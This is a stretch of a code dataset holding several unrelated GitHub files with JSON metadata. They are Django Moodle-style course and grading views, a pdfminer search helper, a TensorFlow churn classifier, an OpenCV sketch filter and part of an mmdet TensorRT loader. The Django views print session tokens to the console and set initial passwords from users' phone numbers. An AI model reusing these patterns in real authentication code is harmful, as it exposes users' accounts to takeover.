st[\"exam_list\"].append(exam_list)\r\n\r\n                    sum_list.append(exam_list['result'])\r\n\r\n\r\n                st['Cal_grade'] = sum(sum_list)\r\n\r\n                D.append(st)\r\n\r\n            return render(request, 'moodle/setscore.html', {'all_stu_list': all_stu_list, 'course': course, 'notice': MoodleNotice.objects.all(), 'D':D})\r\n        except Exception as e:\r\n            print('-------报错-------------',e)\r\n\r\n        # return render(request, 'moodle/setscore.html', {'all_stu_list': all_stu_list, 'course': course, 'notice': MoodleNotice.objects.all()})\r\n\r\n\r\n    @check_session_token\r\n    def post(self, request, course_id):\r\n\r\n        stu_id = request.POST[\"stu_id\"]\r\n\r\n        score = request.POST[\"score\"]\r\n\r\n        queryset = MoodleCUS.objects.filter(Q(moodle_course=course_id) & Q(moodle_user=stu_id)).first()\r\n\r\n        try:\r\n            if queryset:\r\n                queryset.grade = float(score)\r\n                queryset.save()\r\n\r\n            return JsonResponse({\"save\": True})\r\n        \r\n        except Exception as e:\r\n            print(\"-----post---\", e)\r\n\r\n\r\nclass Course(View):\r\n    '''\r\n    我的课程\r\n    '''\r\n    @check_session_token\r\n    def get(self, request):\r\n        user_obj = request.user_obj\r\n\r\n        course_list = user_obj.m_course.all()\r\n\r\n        return render(request, 'moodle/course.html', {\"course_list\": course_list, 'notice': MoodleNotice.objects.all()})\r\n\r\n\r\nclass Index(View):\r\n    '''\r\n    首页\r\n    '''\r\n    def get(self, request):\r\n\r\n        try:\r\n            token = request.COOKIES['token']\r\n\r\n            print('--------------------',token)\r\n            res = jwt.decode(token.encode(), salt_t, algorithms='HS256')\r\n            m_ac_id = res['m_ac_id']\r\n            m_user_obj = MoodleUser.objects.get(id=m_ac_id)\r\n            # m_user_obj = user_obj\r\n            # print(m_user_obj)\r\n            setattr(request, 'user_obj', m_user_obj)\r\n            setattr(request, 'role', m_user_obj.role)\r\n        except Exception as e:\r\n            print('111111111111111111111111111111111',e)\r\n\r\n        hot_course = MoodleCourse.objects.filter(is_hot='T')[:10]\r\n        hot_course_5 = hot_course[:5]\r\n        hot_course_10 = hot_course[5:10]\r\n        active_list = MoodleActive.objects.all()\r\n\r\n        return render(request, 'moodle/index.html', {\"hot_course_5\": hot_course_5, \"hot_course_10\": hot_course_10, \"active_list\": active_list, 'notice': MoodleNotice.objects.all()})\r\n\r\n\r\nclass Exam(View):\r\n    @check_session_token\r\n    def post(self,request, exam_name, course_id):\r\n\r\n        user_obj = request.user_obj\r\n\r\n        linshi = user_obj.m_linshi_stu.filter(Q(exam_name=exam_name) & Q(moodle_course__id=course_id)).first()\r\n\r\n        if linshi:\r\n            linshi = linshi\r\n\r\n        else:\r\n            linshi = Linshi()\r\n\r\n        # print(request.POST['lsbc'])\r\n        try:\r\n\r\n            linshi.moodle_user = user_obj\r\n            linshi.exam_name = exam_name\r\n            linshi.moodle_course = MoodleCourse.objects.get(id=course_id)\r\n\r\n            linshi.content = request.POST['lsbc'].replace(\"\\\\\", \"╲\")\r\n            linshi.number = request.POST['bj_num']\r\n            linshi.save()\r\n        except:\r\n            pass\r\n\r\n        return JsonResponse({\"save\": True})\r\n\r\n\r\nclass Player(View):\r\n    @check_session_token\r\n    def get(self,request,course_id):\r\n\r\n        try:\r\n\r\n            user_obj = request.user_obj\r\n\r\n            course = user_obj.m_course.filter(id=course_id)\r\n\r\n            # 验证是否选修这门课\r\n            if course:\r\n                course_info = course.first()\r\n\r\n                # print(course,course_info)\r\n\r\n                video_list = course_info.m_video.all().order_by('v_index', 'v_name')\r\n\r\n                # print(course_info.id)\r\n\r\n                file_list = course_info.m_courseware.all()\r\n\r\n                # 已结束\r\n                exam_list_end = course_info.m_exam.filter(Q(moodle_user__role='prof') & Q(end_time__lt=datetime.datetime.now()))\r\n                # 未开始\r\n                exam_list_start = course_info.m_exam.filter(Q(moodle_user__role='prof') & Q(start_time__gte=datetime.datetime.now()))\r\n                # 正在开始\r\n                exam_list_open = course_info.m_exam.filter(Q(moodle_user__role='prof') & Q(start_time__lte=datetime.datetime.now()) & Q(end_time__gte=datetime.datetime.now()))\r\n\r\n                # 已考过\r\n                exam_list_kaowan = list(user_obj.m_exam_stu.filter(moodle_course__id=course_id))\r\n\r\n                # print(11111111111111111111111111)\r\n\r\n            else:\r\n                video_list = ''\r\n                file_list = ''\r\n                course_info = ''\r\n                exam_list_end = ''\r\n                exam_list_start = ''\r\n                exam_list_open = ''\r\n                exam_list_kaowan = ''\r\n\r\n            # print(video_list,file_list,exam_list_end)\r\n\r\n            # if user_obj.active_date == datetime.datetime.strptime('3000-01-01 00:00:00', '%Y-%m-%d %H:%M:%S'):\r\n            #     print ('OKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKK')\r\n            # else:\r\n            #     print ('!!!!!!!!!!!!!!!!!',type(user_obj.active_date))\r\n\r\n\r\n            if (user_obj.active_date == datetime.datetime.strptime('3000-01-01 00:00:00', '%Y-%m-%d %H:%M:%S')) and (user_obj.role != 'prof'):\r\n                return render(request, 'moodle/player.html', {'user': user_obj, \"video_list\": '', \"file_list\": '', \"exam_list_end\": '', \"exam_list_start\": '', \"exam_list_open\": '',\"exam_list_kaowan\":'', \"course_info\": course_info, 'notice': MoodleNotice.objects.all()})\r\n            elif datetime.datetime.now() < user_obj.active_date:\r\n                return render(request, 'moodle/player.html', {'user': user_obj, \"video_list\": video_list, \"file_list\": file_list, \"exam_list_end\": exam_list_end, \"exam_list_start\": exam_list_start, \"exam_list_open\": exam_list_open,\"exam_list_kaowan\":exam_list_kaowan, \"course_info\": course_info, 'notice': MoodleNotice.objects.all()})\r\n            else:\r\n                return render(request, 'moodle/player.html', {'user': user_obj, \"video_list\": '', \"file_list\": '', \"exam_list_end\": exam_list_end, \"exam_list_start\": exam_list_start, \"exam_list_open\": '',\"exam_list_kaowan\":exam_list_kaowan, \"course_info\": course_info, 'notice': MoodleNotice.objects.all()})\r\n            # return render(request, 'moodle/player.html', {\"video_list\": video_list,  \"exam_list_end\": exam_list_end, \"exam_list_start\": exam_list_start, \"exam_list_open\": exam_list_open,\"exam_list_kaowan\":exam_list_kaowan, \"course_info\": course_info, 'notice': MoodleNotice.objects.all()})\r\n\r\n        except Exception as e:\r\n            print(3333333333333333333333333333,e)\r\n\r\n\r\nclass Excel(View):\r\n\r\n    def get(self, request):\r\n\r\n        return render(request, 'moodle/excel.html')\r\n\r\n    def post(self, request):\r\n\r\n        # print(MoodleCourse.objects.all())\r\n\r\n        user_error = []\r\n        course_error = []\r\n        successful = ''\r\n\r\n        # print(request.FILES['excel'])\r\n\r\n        book = load_workbook(request.FILES['excel'])\r\n        sheet = book.active\r\n\r\n        for row in sheet.iter_rows(min_row=2):\r\n            user_name = row[0].value\r\n            m_ac = row[1].value\r\n            # CUS = MoodleCUS()\r\n\r\n            try:\r\n                # 小程序有数据\r\n                try:\r\n                    user_obj = Users.objects.get(username=user_name, firstEmail=m_ac,isActive='true')\r\n                except:\r\n                    # print(row[1].value)\r\n                    user_obj = Users.objects.get(username=user_name, secondEmail=m_ac,isActive='true')\r\n                    m_ac = user_obj.firstEmail\r\n                    # print(row[1].value,user_obj)\r\n\r\n                # 判断moodle有没有数据\r\n                if len(MoodleUser.objects.filter(m_ac=m_ac)) == 0:\r\n                    # 不存在创建数据\r\n                    new_m_user = MoodleUser()\r\n                    new_m_user.m_ac = user_obj.firstEmail\r\n                    h = hmac.new(salt, user_obj.domesticTelephone.encode(), digestmod='sha256')\r\n                    new_m_ps_h = h.hexdigest()\r\n\r\n                    new_m_user.m_ps = new_m_ps_h\r\n                    new_m_user.users = user_obj\r\n                    new_m_user.nick = user_obj.username\r\n                    new_m_user.save()\r\n                # else:\r\n                #     old_moodle_user = MoodleUser.objects.filter(m_ac=m_ac)[0]\r\n                #     old_moodle_user.active_date =\r\n\r\n                for course in row[2::1]:\r\n\r\n                    if course.value:\r\n                        m_course = MoodleCourse.objects.filter(c_name__contains=course.value)\r\n\r\n                        if len(m_course) == 1:\r\n\r\n                            m_user = MoodleUser.objects.get(m_ac=m_ac)\r\n                            if MoodleCUS.objects.filter(moodle_user=m_user.id, moodle_course=m_course[0].id):\r\n                                pass\r\n                            else:\r\n                                CUS = MoodleCUS()\r\n                                CUS.moodle_user = m_user\r\n                                CUS.moodle_course = m_course[0]\r\n                                CUS.save()\r\n\r\n                                successful = 'OK'\r\n\r\n                            # print(course.value, '存在导入成功')\r\n                        else:\r\n                            course_error.append((row[0].value, course.value))\r\n\r\n\r\n            except Exception as e:\r\n                # if len(Users.objects.filter(username=user_name)) > 0 :\r\n                #\r\n                #     print(e , user_name , m_ac , Users.objects.filter(username=user_name)[0].firstEmail)\r\n\r\n                print(e , user_name , m_ac , Users.objects.filter(username=user_name))\r\n                user_error.append(user_name)\r\n\r\n        # print('用户存在列表', user_error)\r\n        # print('课程名有误列表',course_error)\r\n\r\n        if not (user_error or course_error):\r\n            successful = 'OK'\r\n\r\n        return render(request, 'moodle/excel.html', {'stu_error': user_error, 'course_error': course_error,'successful':successful})\r\n\r\n\r\n\r\ndef prof_course(request, prof_id=None):\r\n    # print(webopenid)\r\n    if request.method == 'GET':\r\n\r\n        html = ''\r\n\r\n        return HttpResponse(html)\r\n\r\n\r\n\r\n", "repo_name": "jackwhee/sms", "sub_path": "moodle/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 37815, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.views.View", "line_number": 402, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 447, "usage_type": "call"}, {"api_name": "hmac.new", "line_number": 456, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 459, "usage_type": "call"}, {"api_name": "users.models.Users.objects.get", "line_number": 468, "usage_type": "call"}, {"api_name": "users.models.Users.objects", "line_number": 468, "usage_type": "attribute"}, {"api_name": "users.models.Users", "line_number": 468, "usage_type": "name"}, {"api_name": "hmac.new", "line_number": 478, "usage_type": "call"}, {"api_name": "tool.session_token.make_session_token", "line_number": 490, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 492, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 502, "usage_type": "call"}, {"api_name": "tool.session_token.make_session_token", "line_number": 515, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 517, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 526, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 530, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 541, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 545, "usage_type": "call"}, {"api_name": "tool.session_token.check_session_token", "line_number": 543, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 548, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 562, "usage_type": "call"}, {"api_name": "tool.session_token.check_session_token", "line_number": 550, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 566, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 578, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 588, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 594, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 594, "usage_type": "attribute"}, {"api_name": "django.shortcuts.render", "line_number": 602, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 606, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 608, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 619, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 619, "usage_type": "attribute"}, {"api_name": "django.shortcuts.render", "line_number": 625, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 635, "usage_type": "call"}, {"api_name": "tool.session_token.check_session_token", "line_number": 570, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 675, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 690, "usage_type": "call"}, {"api_name": "tool.session_token.check_session_token", "line_number": 638, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 696, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 703, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 703, "usage_type": "attribute"}, {"api_name": "django.db.models.Q", "line_number": 732, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 741, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 743, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 756, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 759, "usage_type": "call"}, {"api_name": "tool.session_token.check_session_token", "line_number": 700, "usage_type": "name"}, {"api_name": "base64.b64decode", "line_number": 778, "usage_type": "call"}, {"api_name": "django.core.files.base.ContentFile", "line_number": 779, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 784, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 799, "usage_type": "call"}, {"api_name": "tool.session_token.check_session_token", "line_number": 761, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 802, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 813, "usage_type": "call"}, {"api_name": "tool.session_token.check_session_token", "line_number": 807, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 816, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 826, "usage_type": "call"}, {"api_name": "tool.session_token.check_session_token", "line_number": 821, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 829, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 859, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 872, "usage_type": "call"}, {"api_name": "tool.session_token.check_session_token", "line_number": 833, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 886, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 893, "usage_type": "call"}, {"api_name": "tool.session_token.check_session_token", "line_number": 879, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 899, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 909, "usage_type": "call"}, {"api_name": "tool.session_token.check_session_token", "line_number": 903, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 912, "usage_type": "name"}, {"api_name": "jwt.decode", "line_number": 922, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 937, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 940, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 946, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 967, "usage_type": "call"}, {"api_name": "tool.session_token.check_session_token", "line_number": 941, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 970, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 993, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 993, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 993, "usage_type": "attribute"}, {"api_name": "django.db.models.Q", "line_number": 995, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 995, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 995, "usage_type": "attribute"}, {"api_name": "django.db.models.Q", "line_number": 997, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 997, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 997, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 1021, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1021, "usage_type": "attribute"}, {"api_name": "django.shortcuts.render", "line_number": 1022, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 1023, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1023, "usage_type": "attribute"}, {"api_name": "django.shortcuts.render", "line_number": 1024, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 1026, "usage_type": "call"}, {"api_name": "tool.session_token.check_session_token", "line_number": 971, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 1033, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 1037, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1049, "usage_type": "call"}, {"api_name": "users.models.Users.objects.get", "line_number": 1060, "usage_type": "call"}, {"api_name": "users.models.Users.objects", "line_number": 1060, "usage_type": "attribute"}, {"api_name": "users.models.Users", "line_number": 1060, "usage_type": "name"}, {"api_name": "users.models.Users.objects.get", "line_number": 1063, "usage_type": "call"}, {"api_name": "users.models.Users.objects", "line_number": 1063, "usage_type": "attribute"}, {"api_name": "users.models.Users", "line_number": 1063, "usage_type": "name"}, {"api_name": "hmac.new", "line_number": 1072, "usage_type": "call"}, {"api_name": "users.models.Users.objects.filter", "line_number": 1111, "usage_type": "call"}, {"api_name": "users.models.Users.objects", "line_number": 1111, "usage_type": "attribute"}, {"api_name": "users.models.Users", "line_number": 1111, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 1120, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 1142, "usage_type": "call"}]}
{"seq_id": "4384884706", "text": "import click\nfrom pdfminer.pdfparser import PDFParser\nfrom pdfminer.pdfdocument import PDFDocument\nfrom pdfminer.pdfpage import PDFPage, PDFTextExtractionNotAllowed\nfrom pdfminer.pdfinterp import PDFResourceManager\nfrom pdfminer.pdfinterp import PDFPageInterpreter\nfrom pdfminer.layout import LAParams, LTTextBoxHorizontal\nfrom pdfminer.converter import PDFPageAggregator\n\n\nclass MyPDFPage:\n    def __init__(self, layout):\n        self.texts = []\n        for piece in layout:\n            if isinstance(piece, LTTextBoxHorizontal):\n                self.texts.append(piece)\n\n    def find(self, text):\n        hits = self.find_all(text)\n        if len(hits) == 1:\n            return hits[0]\n        elif len(hits) == 0:\n            return None\n        else:\n            click.secho(f'ERROR Multiple hits for \"{text}\", using first.', fg='yellow')\n            return hits[0]\n\n    def find_all(self, text):\n        hits = []\n        for piece in self.texts:\n            if piece.get_text().strip() == text:\n                hits.append(piece)\n        return hits\n\n    def get_things_below(self, heading, tolerance=1e-2):\n        things = []\n        for piece in self.texts:\n            if abs(piece.x0 - heading.x0) < tolerance and piece.y0 < heading.y0:\n                things.append(piece)\n        return things\n\n    def get_things_right(self, box):\n        things = []\n        for piece in self.texts:\n            if piece == box:\n                continue\n            if (piece.y0 <= box.y0 and box.y0 <= piece.y1) or (piece.y0 <= box.y1 and box.y1 <= piece.y1):\n                if piece.x1 > box.x0:\n                    things.append(piece)\n        return sorted(things, key=lambda piece: piece.x0)\n\n\ndef get_pages(filename, line_margin=0.1):\n    pages = []\n    with open(filename, 'rb') as fp:\n        parser = PDFParser(fp)\n        document = PDFDocument(parser)\n\n        if not document.is_extractable:\n            raise PDFTextExtractionNotAllowed\n        rsrcmgr = PDFResourceManager()\n\n        # Set parameters for analysis.\n        laparams = LAParams()\n        laparams.line_margin = line_margin\n\n        # Create a PDF page aggregator object.\n        device = PDFPageAggregator(rsrcmgr, laparams=laparams)\n        interpreter = PDFPageInterpreter(rsrcmgr, device)\n\n        for page in PDFPage.create_pages(document):\n            interpreter.process_page(page)\n            # receive the LTPage object for the page.\n            layout = device.get_result()\n\n            my_page = MyPDFPage(layout)\n            pages.append(my_page)\n\n        return pages\n", "repo_name": "DLu/probablyscripts", "sub_path": "pdf_search.py", "file_name": "pdf_search.py", "file_ext": "py", "file_size_in_byte": 2558, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "pdfminer.layout.LTTextBoxHorizontal", "line_number": 15, "usage_type": "argument"}, {"api_name": "click.secho", "line_number": 25, "usage_type": "call"}, {"api_name": "pdfminer.pdfparser.PDFParser", "line_number": 56, "usage_type": "call"}, {"api_name": "pdfminer.pdfdocument.PDFDocument", "line_number": 57, "usage_type": "call"}, {"api_name": "pdfminer.pdfpage.PDFTextExtractionNotAllowed", "line_number": 60, "usage_type": "name"}, {"api_name": "pdfminer.pdfinterp.PDFResourceManager", "line_number": 61, "usage_type": "call"}, {"api_name": "pdfminer.layout.LAParams", "line_number": 64, "usage_type": "call"}, {"api_name": "pdfminer.converter.PDFPageAggregator", "line_number": 68, "usage_type": "call"}, {"api_name": "pdfminer.pdfinterp.PDFPageInterpreter", "line_number": 69, "usage_type": "call"}, {"api_name": "pdfminer.pdfpage.PDFPage.create_pages", "line_number": 71, "usage_type": "call"}, {"api_name": "pdfminer.pdfpage.PDFPage", "line_number": 71, "usage_type": "name"}]}
{"seq_id": "73903201818", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jun 27 14:06:33 2023\r\n\r\n@author: 서다현\r\n\"\"\"\r\n\r\n'''\r\n이용 데이터: 고객 서비스 이탈 예측 데이터\r\n작업 유형: 서비스 이탈 예측(분류)\r\n사용 모델: 텐서플로우 기반 인공신경망\r\n'''\r\n\r\n# 패키지 임포트\r\nimport pandas as pd\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom sklearn.model_selection import train_test_split\r\nimport tensorflow as tf\r\nfrom tensorflow.keras.models import Sequential\r\nfrom tensorflow.keras.layers import Dense\r\nfrom sklearn.metrics import accuracy_score\r\n\r\n# 데이터 로드\r\nx_train = pd.read_csv(\"https://raw.githubusercontent.com/Datamanim/datarepo/main/churnk/X_train.csv\")\r\ny_train = pd.read_csv(\"https://raw.githubusercontent.com/Datamanim/datarepo/main/churnk/y_train.csv\")\r\nx_test = pd.read_csv(\"https://raw.githubusercontent.com/Datamanim/datarepo/main/churnk/X_test.csv\")\r\n\r\n# 데이터 전처리\r\nX = x_train.drop(\"CustomerId\", axis = 1)\r\ny = y_train.drop(\"CustomerId\", axis = 1)\r\nx_test_id = x_test.pop(\"CustomerId\")\r\n\r\nlabel = LabelEncoder()\r\n\r\nX[\"Surname\"] = label.fit_transform(X[\"Surname\"])\r\nX[\"Geography\"] = label.fit_transform(X[\"Geography\"])\r\nX[\"Gender\"] = label.fit_transform(X[\"Gender\"])\r\nx_test[\"Surname\"] = label.fit_transform(x_test[\"Surname\"])\r\nx_test[\"Geography\"] = label.fit_transform(x_test[\"Geography\"])\r\nx_test[\"Gender\"] = label.fit_transform(x_test[\"Gender\"])\r\n\r\nscale = MinMaxScaler()\r\n\r\ntarget = [\"CreditScore\", \"Balance\", \"EstimatedSalary\"]\r\nX[target] = scale.fit_transform(X[target])\r\n\r\n# 데이터셋 분리\r\nX_tr, X_val, y_tr, y_val = train_test_split(X, y, test_size = 0.3, random_state = 111)\r\n\r\n# 모델링\r\nmodel = Sequential()\r\nmodel.add(Dense(20, input_dim = 11, activation = \"relu\"))\r\nmodel.add(Dense(1, activation = \"sigmoid\"))\r\n\r\nmodel.summary()\r\nmodel.compile(loss = \"binary_crossentropy\", optimizer = \"adam\", metrics = \"accuracy\")\r\n\r\nmodel.fit(X_tr, y_tr, epochs = 20, batch_size = 10)\r\n\r\n# 모델 평가\r\ny_pred = model.predict(X_val)\r\ny_pred = tf.cast(y_pred >= 0.5, dtype = tf.int32)\r\nprint(\"accuracy_score =\", accuracy_score(y_val, y_pred))\r\n\r\n# 결과\r\nmodel.fit(X, y, epochs = 20, batch_size = 10)\r\npred = tf.cast(model.predict(x_test) >= 0.5, dtype=tf.int32)\r\npredict = pd.DataFrame(pred)[0]\r\n\r\nresult = pd.DataFrame({\"CustomerId\":x_test_id, \"Exited\":predict})\r\n\r\ny_test = pd.read_csv(\"https://raw.githubusercontent.com/Datamanim/datarepo/main/churnk/y_test.csv\")\r\nprint(accuracy_score(y_test.iloc[:,1], pred))\r\n\r\nresult.to_csv(\"20230627 01.csv\", index = False)\r\npd.read_csv(\"20230627 01.csv\")\r\n", "repo_name": "DahyeonS/Data_Analysis_Python_Practice", "sub_path": "20230627 01.py", "file_name": "20230627 01.py", "file_ext": "py", "file_size_in_byte": 2621, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "pandas.read_csv", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 34, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 43, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.Sequential", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 53, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 63, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 68, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 69, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 71, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 73, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 74, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 77, "usage_type": "call"}]}
{"seq_id": "19267995711", "text": "import cv2\nimport numpy as np\n\n\ndef sketch_transform(frame):\n    img_gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n    img_gray_blurred = cv2.GaussianBlur(img_gray, (7, 7), 0)\n    img_canny = cv2.Canny(img_gray_blurred, 10, 80)\n    _, mask = img_canny_inverted = cv2.threshold(img_canny, 30, 255, cv2.THRESH_BINARY_INV)\n    return mask\n\n\ncap = cv2.VideoCapture(0)\nwhile cap.isOpened():\n    ret, frame = cap.read()\n    showCrosshair = False\n    fromCenter = False\n    r = cv2.selectROI(\"Image\", frame, fromCenter, showCrosshair)\n    break\n\nwhile True:\n    _, img_frame = cap.read()\n    rect_img = img_frame[int(r[1]):int(r[1]+r[3]), int(r[0]):int(r[0]+r[2])]\n\n    sketch_rect = rect_img\n    sketch_rect = sketch_transform(sketch_rect)\n\n    sketch_rect_rgb = cv2.cvtColor(sketch_rect, cv2.COLOR_GRAY2RGB)\n    img_frame[int(r[1]):int(r[1]+r[3]), int(r[0]):int(r[0]+r[2])] = sketch_rect_rgb\n\n    cv2.imshow(\"sketch\", img_frame)\n\n    if cv2.waitKey(1) == ord(\"q\"):\n        break\n\ncap.release()\ncv2.destroyAllWindows()\n", "repo_name": "devasenan134/code", "sub_path": "ML/openCV/krish/transform_roi_to_sketch.py", "file_name": "transform_roi_to_sketch.py", "file_ext": "py", "file_size_in_byte": 1014, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "cv2.cvtColor", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 6, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 9, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.selectROI", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.COLOR_GRAY2RGB", "line_number": 28, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 37, "usage_type": "call"}]}
{"seq_id": "37711663261", "text": "import mmcv\nimport numpy as np\nimport torch\nfrom mmdet.datasets.pipelines import Compose\nfrom torch2trt_dynamic import TRTModule\nimport time \nimport mmcv\nimport pycuda.driver as cuda_driver\nimport pycuda.autoinit\n\ndef init_detector(trt_model_path, device='cuda:0'):\n#    #if isinstance(cfg, str):\n#    #    cfg = mmcv.Config.fromfile(cfg)\n    device_num = int(device.split(\":\")[-1])\n    cuda_driver.Device(device_num).make_context()\n    model_trt = TRTModule()\n    model_trt.load_state_dict(torch.load(trt_model_path, map_location= device))\n    return model_trt\n\n#def init_detector(trt_model_path):\n#    import time\n#    tt= time.time()\n#    model_trt = TRTModule()\n#    model_trt.load_state_dict(torch.load(trt_model_path))\n#    print(\"inti time\", time.time()- tt)\n#    return model_trt\n\nclass LoadImage(object):\n    \"\"\"A simple pipeline to load image.\"\"\"\n\n    def __call__(self, results):\n        \"\"\"Call function to load images into results.\n        Args:\n            results (dict): A result dict contains the file name\n                of the image to be read.\n        Returns:\n            dict: ``results`` will be returned containing loaded image.\n        \"\"\"\n#         import pdb; pdb.set_trace()\n\n        if isinstance(results['img'], str):\n            results['filename'] = results['img']\n            results['ori_filename'] = results['img']\n\n        else:\n            results['filename'] = None\n            results['ori_filename'] = None\n\n        if torch.is_tensor(results[\"img\"] ) == True :\n            sh = results['img'].shape\n            results['img'] = results['img'].permute(0, 3, 1, 2)[0]\n            results['img_shape'] = sh[1:]\n            results['ori_shape'] = sh[1:]\n            results['img_fields'] = ['img']\n            results['pad_shape'] = sh[1:]\n            results['scale_factor'] = np.array([1,1,1,1],\n                                    dtype=np.float32)\n            results['keep_ratio'] = True\n            results['resize'] = False\n\n        